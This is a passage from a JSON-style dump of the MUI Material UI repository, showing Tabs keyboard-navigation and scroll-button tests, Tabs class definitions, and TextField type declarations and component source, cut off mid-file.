expect(firstTab).toHaveFocus();\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n        });\n\n        describe(`${nextItemKey}`, () => {\n          it('moves focus to the first tab without activating it if focus is on the last tab', async () => {\n            const handleChange = spy();\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                value={1}\n              >\n                <Tab />\n                <Tab />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [firstTab, , lastTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              lastTab.focus();\n            });\n            fireEvent.keyDown(lastTab, { key: nextItemKey });\n\n            expect(firstTab).toHaveFocus();\n            expect(handleChange.callCount).to.equal(0);\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n\n          it('when `selectionFollowsFocus` moves focus to the first tab while activating it if focus is on the last tab', async () => {\n            const handleChange = spy();\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                selectionFollowsFocus\n                value={2}\n              >\n                <Tab />\n                <Tab />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [firstTab, , lastTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              lastTab.focus();\n            });\n            fireEvent.keyDown(lastTab, { key: nextItemKey });\n\n            expect(firstTab).toHaveFocus();\n            expect(handleChange.callCount).to.equal(1);\n            expect(handleChange.firstCall.args[1]).to.equal(0);\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n\n          it('moves focus to the next tab without activating it it', async () => {\n            const handleChange = spy();\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                value={1}\n              >\n                <Tab />\n                <Tab />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [, secondTab, lastTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              secondTab.focus();\n            });\n            fireEvent.keyDown(secondTab, { key: nextItemKey });\n\n            expect(lastTab).toHaveFocus();\n            expect(handleChange.callCount).to.equal(0);\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n\n          it('when `selectionFollowsFocus` moves focus to the next tab while activating it it', async () => {\n            const handleChange = spy();\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                selectionFollowsFocus\n                value={1}\n              >\n                <Tab />\n                <Tab />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [, secondTab, lastTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              secondTab.focus();\n            });\n            fireEvent.keyDown(secondTab, { key: nextItemKey });\n\n            expect(lastTab).toHaveFocus();\n            expect(handleChange.callCount).to.equal(1);\n            expect(handleChange.firstCall.args[1]).to.equal(2);\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n\n          it('skips over disabled tabs', async () => {\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                selectionFollowsFocus\n                value={1}\n              >\n                <Tab />\n                <Tab disabled />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [firstTab, , lastTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              firstTab.focus();\n            });\n            fireEvent.keyDown(firstTab, { key: nextItemKey });\n\n            expect(lastTab).toHaveFocus();\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n        });\n      });\n    });\n\n    describe('when focus is on a tab regardless of orientation', () => {\n      describe('Home', () => {\n        it('moves focus to the first tab without activating it', async () => {\n          const handleChange = spy();\n          const handleKeyDown = spy();\n\n          render(\n            <Tabs onChange={handleChange} onKeyDown={handleKeyDown} value={1}>\n              <Tab />\n              <Tab />\n              <Tab />\n            </Tabs>,\n          );\n\n          const [firstTab, , lastTab] = screen.getAllByRole('tab');\n          await act(async () => {\n            lastTab.focus();\n          });\n\n          fireEvent.keyDown(lastTab, { key: 'Home' });\n\n          expect(firstTab).toHaveFocus();\n          expect(handleChange.callCount).to.equal(0);\n          expect(handleKeyDown.callCount).to.equal(1);\n          expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n          await flushEffects();\n        });\n\n        it('when `selectionFollowsFocus` moves focus to the first tab without activating it', async () => {\n          const handleChange = spy();\n          const handleKeyDown = spy();\n\n          render(\n            <Tabs onChange={handleChange} onKeyDown={handleKeyDown} selectionFollowsFocus value={2}>\n              <Tab />\n              <Tab />\n              <Tab />\n            </Tabs>,\n          );\n\n          const [firstTab, , lastTab] = screen.getAllByRole('tab');\n          await act(async () => {\n            lastTab.focus();\n          });\n\n          fireEvent.keyDown(lastTab, { key: 'Home' });\n\n          expect(firstTab).toHaveFocus();\n          expect(handleChange.callCount).to.equal(1);\n          expect(handleChange.firstCall.args[1]).to.equal(0);\n          expect(handleKeyDown.callCount).to.equal(1);\n          expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n          await flushEffects();\n        });\n\n        it('moves focus to first non-disabled tab', async () => {\n          const handleKeyDown = spy();\n\n          render(\n            <Tabs onKeyDown={handleKeyDown} selectionFollowsFocus value={2}>\n              <Tab disabled />\n              <Tab />\n              <Tab />\n            </Tabs>,\n          );\n\n          const [, secondTab, lastTab] = screen.getAllByRole('tab');\n          await act(async () => {\n            lastTab.focus();\n          });\n\n          fireEvent.keyDown(lastTab, { key: 'Home' });\n\n          expect(secondTab).toHaveFocus();\n          expect(handleKeyDown.callCount).to.equal(1);\n          expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n          await flushEffects();\n        });\n      });\n\n      describe('End', () => {\n        it('moves focus to the last tab without activating it', async () => {\n          const handleChange = spy();\n          const handleKeyDown = spy();\n\n          render(\n            <Tabs onChange={handleChange} onKeyDown={handleKeyDown} value={1}>\n              <Tab />\n              <Tab />\n              <Tab />\n            </Tabs>,\n          );\n\n          const [firstTab, , lastTab] = screen.getAllByRole('tab');\n          await act(async () => {\n            firstTab.focus();\n          });\n\n          fireEvent.keyDown(firstTab, { key: 'End' });\n\n          expect(lastTab).toHaveFocus();\n          expect(handleChange.callCount).to.equal(0);\n          expect(handleKeyDown.callCount).to.equal(1);\n          expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n          await flushEffects();\n        });\n\n        it('when `selectionFollowsFocus` moves focus to the last tab without activating it', async () => {\n          const handleChange = spy();\n          const handleKeyDown = spy();\n\n          render(\n            <Tabs onChange={handleChange} onKeyDown={handleKeyDown} selectionFollowsFocus value={0}>\n              <Tab />\n              <Tab />\n              <Tab />\n            </Tabs>,\n          );\n\n          const [firstTab, , lastTab] = screen.getAllByRole('tab');\n          await act(async () => {\n            firstTab.focus();\n          });\n\n          fireEvent.keyDown(firstTab, { key: 'End' });\n\n          expect(lastTab).toHaveFocus();\n          expect(handleChange.callCount).to.equal(1);\n          expect(handleChange.firstCall.args[1]).to.equal(2);\n          expect(handleKeyDown.callCount).to.equal(1);\n          expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n          await flushEffects();\n        });\n\n        it('moves focus to first non-disabled tab', async () => {\n          const handleKeyDown = spy();\n\n          render(\n            <Tabs onKeyDown={handleKeyDown} selectionFollowsFocus value={2}>\n              <Tab />\n              <Tab />\n              <Tab disabled />\n            </Tabs>,\n          );\n\n          const [firstTab, secondTab] = screen.getAllByRole('tab');\n          await act(async () => {\n            firstTab.focus();\n          });\n\n          fireEvent.keyDown(firstTab, { key: 'End' });\n\n          expect(secondTab).toHaveFocus();\n          expect(handleKeyDown.callCount).to.equal(1);\n          expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n          await flushEffects();\n        });\n      });\n    });\n\n    it('should allow to focus first tab when there are no active tabs', () => {\n      render(\n        <Tabs value={false}>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      expect(screen.getAllByRole('tab').map((tab) => tab.getAttribute('tabIndex'))).to.deep.equal([\n        '0',\n        '-1',\n      ]);\n    });\n\n    ['Alt', 'Shift', 'Ctrl', 'Meta'].forEach((modifierKey) => {\n      it(`does not navigate when ${modifierKey} is pressed with ArrowLeft`, async () => {\n        render(\n          <Tabs value={1}>\n            <Tab />\n            <Tab />\n          </Tabs>,\n        );\n\n        const [firstTab, secondTab] = screen.getAllByRole('tab');\n        await act(async () => {\n          secondTab.focus();\n        });\n\n        fireEvent.keyDown(secondTab, {\n          key: 'ArrowLeft',\n          [`${modifierKey.toLowerCase()}Key`]: true,\n        });\n\n        expect(secondTab).toHaveFocus();\n        expect(firstTab).not.toHaveFocus();\n      });\n    });\n  });\n\n  describe('keyboard navigation in shadow DOM', () => {\n    it('should navigate between tabs using arrow keys when rendered in shadow DOM', async function test() {\n      // Create a shadow root\n      const shadowHost = document.createElement('div');\n      document.body.appendChild(shadowHost);\n      const shadowRoot = shadowHost.attachShadow({ mode: 'open' });\n\n      // Render directly into shadow root\n      const shadowContainer = document.createElement('div');\n      shadowRoot.appendChild(shadowContainer);\n\n      const { unmount, user } = render(\n        <Tabs value={0}>\n          <Tab />\n          <Tab />\n          <Tab />\n        </Tabs>,\n        { container: shadowContainer },\n      );\n\n      const tabs = shadowRoot.querySelectorAll('[role=\"tab\"]');\n      const [firstTab, secondTab, thirdTab] = Array.from(tabs);\n\n      await act(async () => {\n        firstTab.focus();\n      });\n\n      // Verify first tab has focus\n      expect(shadowRoot.activeElement).to.equal(firstTab);\n\n      // Navigate to second tab using ArrowRight\n      await user.keyboard('{ArrowRight}');\n      expect(shadowRoot.activeElement).to.equal(secondTab);\n\n      // Navigate to third tab using ArrowRight\n      await user.keyboard('{ArrowRight}');\n      expect(shadowRoot.activeElement).to.equal(thirdTab);\n\n      // Navigate back to second tab using ArrowLeft\n      await user.keyboard('{ArrowLeft}');\n      expect(shadowRoot.activeElement).to.equal(secondTab);\n\n      // Cleanup\n      unmount();\n      if (shadowHost.parentNode) {\n        document.body.removeChild(shadowHost);\n      }\n    });\n  });\n\n  describe('dynamic tabs', () => {\n    const pause = (timeout) =>\n      new Promise((resolve) => {\n        setTimeout(() => {\n          resolve();\n        }, timeout);\n      });\n\n    // https://github.com/mui/material-ui/issues/31936\n    it('should not show scroll buttons if a tab added or removed in vertical mode', async function test() {\n      function DynamicTabs() {\n        const [value, setValue] = React.useState(0);\n        const handleChange = (event, newValue) => {\n          setValue(newValue);\n        };\n        const [tabs, setTabs] = React.useState(['item1', 'item2']);\n        return (\n          <React.Fragment>\n            <button\n              data-testid=\"add\"\n              onClick={() => {\n                setTabs([...tabs, `item${tabs.length + 1}`]);\n              }}\n            >\n              add\n            </button>\n            <button\n              data-testid=\"delete\"\n              onClick={() => {\n                setTabs(tabs.slice(0, tabs.length - 1));\n                setValue(0);\n              }}\n            >\n              delete\n            </button>\n            <Tabs\n              onChange={handleChange}\n              value={value}\n              orientation=\"vertical\"\n              variant=\"scrollable\"\n              scrollButtons\n              style={{ width: '260px' }}\n            >\n              {tabs.map((label, index) => (\n                <Tab key={`tab${index}`} label={label} />\n              ))}\n            </Tabs>\n          </React.Fragment>\n        );\n      }\n      const { container, user } = render(<DynamicTabs />);\n      const addButton = screen.getByTestId('add');\n      const deleteButton = screen.getByTestId('delete');\n\n      await user.click(addButton);\n      expect(hasLeftScrollButton(container)).to.equal(false);\n      expect(hasRightScrollButton(container)).to.equal(false);\n\n      const tabs = screen.getAllByRole('tab');\n      const lastTab = tabs[tabs.length - 1];\n      await user.click(lastTab);\n      await pause(400);\n\n      await user.click(deleteButton);\n      expect(hasLeftScrollButton(container)).to.equal(false);\n      expect(hasRightScrollButton(container)).to.equal(false);\n    });\n  });\n\n  describe('scrollButtons slot', () => {\n    it('should render start and end scroll buttons', () => {\n      render(\n        <Tabs\n          value={0}\n          variant=\"scrollable\"\n          scrollButtons\n          slotProps={{\n            scrollButtons: { 'data-testid': 'scroll-button', className: 'foo' },\n          }}\n        />,\n      );\n      expect(screen.getAllByTestId('scroll-button')).to.have.length(2);\n      expect(screen.getAllByTestId('scroll-button')[0]).to.have.class(classes.scrollButtons);\n      expect(screen.getAllByTestId('scroll-button')[0]).to.have.class('foo');\n      expect(screen.getAllByTestId('scroll-button')[1]).to.have.class(classes.scrollButtons);\n      expect(screen.getAllByTestId('scroll-button')[1]).to.have.class('foo');\n    });\n\n    it('should render a custom scroll button', () => {\n      function CustomButton({ ownerState, slots, slotProps, ...props }) {\n        return <button data-testid=\"scroll-button\" {...props} />;\n      }\n      render(\n        <Tabs\n          value={0}\n          variant=\"scrollable\"\n          scrollButtons\n          slots={{\n            scrollButtons: CustomButton,\n          }}\n          slotProps={{\n            scrollButtons: { className: 'foo' },\n          }}\n        />,\n      );\n      expect(screen.getAllByTestId('scroll-button')).to.have.length(2);\n      expect(screen.getAllByTestId('scroll-button')[0]).to.have.class(classes.scrollButtons);\n      expect(screen.getAllByTestId('scroll-button')[0]).to.have.class('foo');\n      expect(screen.getAllByTestId('scroll-button')[1]).to.have.class(classes.scrollButtons);\n      expect(screen.getAllByTestId('scroll-button')[1]).to.have.class('foo');\n    });\n\n    it('should render a start and end scroll button icons', () => {\n      render(\n        <Tabs\n          value={0}\n          variant=\"scrollable\"\n          scrollButtons\n          slotProps={{\n            startScrollButtonIcon: { 'data-testid': 'start-scroll-button-icon', className: 'foo' },\n            endScrollButtonIcon: { 'data-testid': 'end-scroll-button-icon', className: 'bar' },\n          }}\n        />,\n      );\n\n      expect(screen.getByTestId('start-scroll-button-icon')).to.have.class('foo');\n      expect(screen.getByTestId('end-scroll-button-icon')).to.have.class('bar');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/index.d.ts",
    "content": "export { default } from './Tabs';\nexport * from './Tabs';\n\nexport { default as tabsClasses } from './tabsClasses';\nexport * from './tabsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/index.js",
    "content": "export { default } from './Tabs';\n\nexport { default as tabsClasses } from './tabsClasses';\nexport * from './tabsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/tabsClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TabsClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** Styles applied to the list element. */\n  list: string;\n  /** Styles applied to the flex container element if `centered={true}` & `!variant=\"scrollable\"`. */\n  centered: string;\n  /** Styles applied to the tablist element. */\n  scroller: string;\n  /** Styles applied to the tablist element if `!variant=\"scrollable\"`\b\b\b. */\n  fixed: string;\n  /** Styles applied to the tablist element if `variant=\"scrollable\"` and `orientation=\"horizontal\"`. */\n  scrollableX: string;\n  /** Styles applied to the tablist element if `variant=\"scrollable\"` and `orientation=\"vertical\"`. */\n  scrollableY: string;\n  /** Styles applied to the tablist element if `variant=\"scrollable\"` and `visibleScrollbar={false}`. */\n  hideScrollbar: string;\n  /** Styles applied to the ScrollButtonComponent component. */\n  scrollButtons: string;\n  /** Styles applied to the ScrollButtonComponent component if `allowScrollButtonsMobile={true}`. */\n  scrollButtonsHideMobile: string;\n  /** Styles applied to the TabIndicator component. */\n  indicator: string;\n}\n\nexport type TabsClassKey = keyof TabsClasses;\n\nexport function getTabsUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTabs', slot);\n}\n\nconst tabsClasses: TabsClasses = generateUtilityClasses('MuiTabs', [\n  'root',\n  'vertical',\n  'list',\n  'centered',\n  'scroller',\n  'fixed',\n  'scrollableX',\n  'scrollableY',\n  'hideScrollbar',\n  'scrollButtons',\n  'scrollButtonsHideMobile',\n  'indicator',\n]);\n\nexport default tabsClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TextField/TextField.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { FormControlProps } from '../FormControl';\nimport { FormHelperTextProps } from '../FormHelperText';\nimport { InputBaseProps } from '../InputBase';\nimport { InputProps as StandardInputProps } from '../Input';\nimport { FilledInputProps } from '../FilledInput';\nimport { OutlinedInputProps } from '../OutlinedInput';\nimport { InputLabelProps } from '../InputLabel';\nimport { SelectProps } from '../Select';\nimport { TextFieldClasses } from './textFieldClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface TextFieldPropsColorOverrides {}\nexport interface TextFieldPropsSizeOverrides {}\n\nexport interface TextFieldSlots {\n  /**\n   * The component that renders the root.\n   * @default FormControl\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the input.\n   * @default OutlinedInput\n   */\n  input: React.ElementType;\n  /**\n   * The component that renders the input's label.\n   * @default InputLabel\n   */\n  inputLabel: React.ElementType;\n  /**\n   * The html input element.\n   * @default 'input'\n   */\n  htmlInput: React.ElementType;\n  /**\n   * The component that renders the helper text.\n   * @default FormHelperText\n   */\n  formHelperText: React.ElementType;\n  /**\n   * The component that renders the select.\n   * @default Select\n   */\n  select: React.ElementType;\n}\n\nexport interface TextFieldRootSlotPropsOverrides {}\nexport interface TextFieldInputSlotPropsOverrides {}\nexport interface TextFieldInputLabelSlotPropsOverrides {}\nexport interface TextFieldFormHelperTextSlotPropsOverrides {}\nexport interface TextFieldSelectSlotPropsOverrides {}\n\nexport type TextFieldSlotsAndSlotProps<InputPropsType> = CreateSlotsAndSlotProps<\n  TextFieldSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [FormControl](https://mui.com/material-ui/api/form-control/#props) component.\n     */\n    root: SlotProps<\n      React.ElementType<FormControlProps>,\n      TextFieldRootSlotPropsOverrides,\n      TextFieldOwnerState\n    >;\n    /**\n     * Props forwarded to the input slot.\n     * By default, the available props are based on the [Input](https://mui.com/material-ui/api/input/#props) component.\n     */\n    input: SlotProps<\n      React.ElementType<InputPropsType>,\n      TextFieldInputSlotPropsOverrides,\n      TextFieldOwnerState\n    >;\n    /**\n     * Props forwarded to the input label slot.\n     * By default, the available props are based on the [InputLabel](https://mui.com/material-ui/api/input-label/#props) component.\n     */\n    inputLabel: SlotProps<\n      React.ElementType<InputLabelProps>,\n      TextFieldInputLabelSlotPropsOverrides,\n      TextFieldOwnerState\n    >;\n    /**\n     * Props forwarded to the html input slot.\n     * By default, the available props are based on the html input element.\n     */\n    htmlInput: SlotProps<React.ElementType<InputBaseProps['inputProps']>, {}, TextFieldOwnerState>;\n    /**\n     * Props forwarded to the form helper text slot.\n     * By default, the available props are based on the [FormHelperText](https://mui.com/material-ui/api/form-helper-text/#props) component.\n     */\n    formHelperText: SlotProps<\n      React.ElementType<FormHelperTextProps>,\n      TextFieldFormHelperTextSlotPropsOverrides,\n      TextFieldOwnerState\n    >;\n    /**\n     * Props forwarded to the select slot.\n     * By default, the available props are based on the [Select](https://mui.com/material-ui/api/select/#props) component.\n     */\n    select: SlotProps<\n      React.ElementType<SelectProps>,\n      TextFieldSelectSlotPropsOverrides,\n      TextFieldOwnerState\n    >;\n  }\n>;\n\nexport interface BaseTextFieldProps extends StandardProps<\n  FormControlProps,\n  // event handlers are declared on derived interfaces\n  'onChange' | 'onBlur' | 'onFocus' | 'defaultValue'\n> {\n  /**\n   * This prop helps users to fill forms faster, especially on mobile devices.\n   * The name can be confusing, as it's more like an autofill.\n   * You can learn more about it [following the specification](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill).\n   */\n  autoComplete?: string | undefined;\n  /**\n   * If `true`, the `input` element is focused during the first mount.\n   * @default false\n   */\n  autoFocus?: boolean | undefined;\n  /**\n   * @ignore\n   */\n  children?: FormControlProps['children'] | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TextFieldClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        TextFieldPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue?: unknown;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the label is displayed in an error state.\n   * @default false\n   */\n  error?: boolean | undefined;\n  /**\n   * If `true`, the input will take up the full width of its container.\n   * @default false\n   */\n  fullWidth?: boolean | undefined;\n  /**\n   * The helper text content.\n   */\n  helperText?: React.ReactNode;\n  /**\n   * The id of the `input` element.\n   * Use this prop to make `label` and `helperText` accessible for screen readers.\n   */\n  id?: string | undefined;\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef?: React.Ref<any> | undefined;\n  /**\n   * The label content.\n   */\n  label?: React.ReactNode;\n  /**\n   * If `true`, a `textarea` element is rendered instead of an input.\n   * @default false\n   */\n  multiline?: boolean | undefined;\n  /**\n   * Name attribute of the `input` element.\n   */\n  name?: string | undefined;\n  onBlur?: InputBaseProps['onBlur'] | undefined;\n  onFocus?: StandardInputProps['onFocus'] | undefined;\n  /**\n   * The short hint displayed in the `input` before the user enters a value.\n   */\n  placeholder?: string | undefined;\n  /**\n   * If `true`, the label is displayed as required and the `input` element is required.\n   * @default false\n   */\n  required?: boolean | undefined;\n  /**\n   * Number of rows to display when multiline option is set to true.\n   */\n  rows?: string | number | undefined;\n  /**\n   * Maximum number of rows to display when multiline option is set to true.\n   */\n  maxRows?: string | number | undefined;\n  /**\n   * Minimum number of rows to display when multiline option is set to true.\n   */\n  minRows?: string | number | undefined;\n  /**\n   * Render a [`Select`](https://mui.com/material-ui/api/select/) element while passing the Input element to `Select` as `input` parameter.\n   * If this option is set you must pass the options of the select as children.\n   * @default false\n   */\n  select?: boolean | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', TextFieldPropsSizeOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Type of the `input` element. It should be [a valid HTML5 input type](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types).\n   */\n  type?: React.InputHTMLAttributes<unknown>['type'] | undefined;\n  /**\n   * The value of the `input` element, required for a controlled component.\n   */\n  value?: unknown;\n}\n\nexport interface StandardTextFieldProps\n  extends BaseTextFieldProps, TextFieldSlotsAndSlotProps<StandardInputProps> {\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {object} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange?: StandardInputProps['onChange'] | undefined;\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant?: 'standard' | undefined;\n}\n\nexport interface FilledTextFieldProps\n  extends BaseTextFieldProps, TextFieldSlotsAndSlotProps<FilledInputProps> {\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {object} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange?: FilledInputProps['onChange'] | undefined;\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant: 'filled';\n}\n\nexport interface OutlinedTextFieldProps\n  extends BaseTextFieldProps, TextFieldSlotsAndSlotProps<OutlinedInputProps> {\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {object} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange?: OutlinedInputProps['onChange'] | undefined;\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant: 'outlined';\n}\n\nexport type TextFieldVariants = 'outlined' | 'standard' | 'filled';\n\nexport type TextFieldProps<Variant extends TextFieldVariants = TextFieldVariants> =\n  Variant extends 'filled'\n    ? FilledTextFieldProps\n    : Variant extends 'standard'\n      ? StandardTextFieldProps\n      : OutlinedTextFieldProps;\n\nexport type TextFieldOwnerState = BaseTextFieldProps;\n\n/**\n * The `TextField` is a convenience wrapper for the most common cases (80%).\n * It cannot be all things to all people, otherwise the API would grow out of control.\n *\n * ## Advanced Configuration\n *\n * It's important to understand that the text field is a simple abstraction\n * on top of the following components:\n *\n * * [FormControl](https://next.mui.com/material-ui/api/form-control/)\n * * [InputLabel](https://next.mui.com/material-ui/api/input-label/)\n * * [FilledInput](https://next.mui.com/material-ui/api/filled-input/)\n * * [OutlinedInput](https://next.mui.com/material-ui/api/outlined-input/)\n * * [Input](https://next.mui.com/material-ui/api/input/)\n * * [FormHelperText](https://next.mui.com/material-ui/api/form-helper-text/)\n *\n * If you wish to alter the props applied to the `input` element, you can do so as follows:\n *\n * ```jsx\n * const slotProps = {\n *   htmlInput: {\n *      step: 300\n *   }\n * };\n *\n * return <TextField id=\"time\" type=\"time\" slotProps={slotProps} />;\n * ```\n *\n * For advanced cases, please look at the source of TextField by clicking on the\n * \"Edit this page\" button above. Consider either:\n *\n * * using the `slotProps` prop for passing values directly to the components\n * * using the underlying components directly as shown in the demos\n *\n * Demos:\n *\n * - [Autocomplete](https://next.mui.com/material-ui/react-autocomplete/)\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [TextField API](https://next.mui.com/material-ui/api/text-field/)\n * - inherits [FormControl API](https://next.mui.com/material-ui/api/form-control/)\n */\nexport default function TextField<Variant extends TextFieldVariants>(\n  props: {\n    /**\n     * The variant to use.\n     * @default 'outlined'\n     */\n    variant?: Variant | undefined;\n  } & Omit<TextFieldProps, 'variant'>,\n): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/TextField/TextField.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useId from '@mui/utils/useId';\nimport refType from '@mui/utils/refType';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Input from '../Input';\nimport FilledInput from '../FilledInput';\nimport OutlinedInput from '../OutlinedInput';\nimport InputLabel from '../InputLabel';\nimport FormControl from '../FormControl';\nimport FormHelperText from '../FormHelperText';\nimport Select from '../Select';\nimport { getTextFieldUtilityClass } from './textFieldClasses';\nimport useSlot from '../utils/useSlot';\n\nconst variantComponent = {\n  standard: Input,\n  filled: FilledInput,\n  outlined: OutlinedInput,\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getTextFieldUtilityClass, classes);\n};\n\nconst TextFieldRoot = styled(FormControl, {\n  name: 'MuiTextField',\n  slot: 'Root',\n})({});\n\n/**\n * The `TextField` is a convenience wrapper for the most common cases (80%).\n * It cannot be all things to all people, otherwise the API would grow out of control.\n *\n * ## Advanced Configuration\n *\n * It's important to understand that the text field is a simple abstraction\n * on top of the following components:\n *\n * - [FormControl](/material-ui/api/form-control/)\n * - [InputLabel](/material-ui/api/input-label/)\n * - [FilledInput](/material-ui/api/filled-input/)\n * - [OutlinedInput](/material-ui/api/outlined-input/)\n * - [Input](/material-ui/api/input/)\n * - [FormHelperText](/material-ui/api/form-helper-text/)\n *\n * If you wish to alter the props applied to the `input` element, you can do so as follows:\n *\n * ```jsx\n * const slotProps = {\n *   htmlInput: {\n *      step: 300\n *   }\n * };\n *\n * return <TextField id=\"time\" type=\"time\" slotProps={slotProps} />;\n * ```\n *\n * For advanced cases, please look at the source of TextField by clicking on the\n * \"Edit this page\" button above. Consider either:\n *\n * - using the `slotProps` prop for passing values directly to the components\n * - using the underlying components directly as shown in the demos\n */\nconst TextField = React.forwardRef(function TextField(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTextField' });\n  const {\n    autoComplete,\n    autoFocus = false,\n    children,\n    className,\n    color = 'primary',\n    defaultValue,\n    disabled = false,\n    error = false,\n    fullWidth = false,\n    helperText,\n    id: idOverride,\n    inputRef,\n    label,\n    maxRows,\n    minRows,\n    multiline = false,\n    name,\n    onBlur,\n    onChange,\n    onFocus,\n    placeholder,\n    required = false,\n    rows,\n    select = false,\n    slots = {},\n    slotProps = {},\n    type,\n    value,\n    variant = 'outlined',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    autoFocus,\n    color,\n    disabled,\n    error,\n    fullWidth,\n    multiline,\n    required,\n    select,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (select && !children) {\n      console.error(\n        'MUI: `children` must be passed when using the `TextField` component with `select`.',\n      );\n    }\n  }\n\n  const id = useId(idOverride);\n  const helperTextId = helperText && id ? `${id}-helper-text` : undefined;\n  const inputLabelId = label && id ? `${id}-label` : undefined;\n  const InputComponent = variantComponent[variant];\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const 